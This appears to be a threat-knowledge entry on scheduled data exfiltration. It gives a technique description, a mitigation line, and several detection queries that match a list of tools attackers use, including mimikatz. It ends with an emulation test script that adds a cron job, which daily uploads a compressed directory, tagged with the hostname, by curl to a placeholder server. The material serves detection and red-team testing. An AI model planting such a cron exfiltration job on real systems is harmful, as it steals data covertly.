Adversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.
Use intrusion detection signatures to block traffic at network boundaries.
Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.
processes = search Process:Create reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe" or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe" or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe" or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe" or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe" or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe" or exe == "wscript.exe" or exe == "xcopy.exe") reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes) output reg_grouped
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100 >>_agg count >>_checkif int_compare Count > 1 include
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"] | chart count() as cnt by host | search cnt > 1
crontab -l > /tmp/origcron;
crontab -l > /tmp/mycron;
echo "0 12 * * * curl -F "data=@#{host.dir.compress}" --header "X-Request-ID: `hostname`-#{paw}" #{server}/file/upload" >> /tmp/mycron;
crontab /tmp/mycron;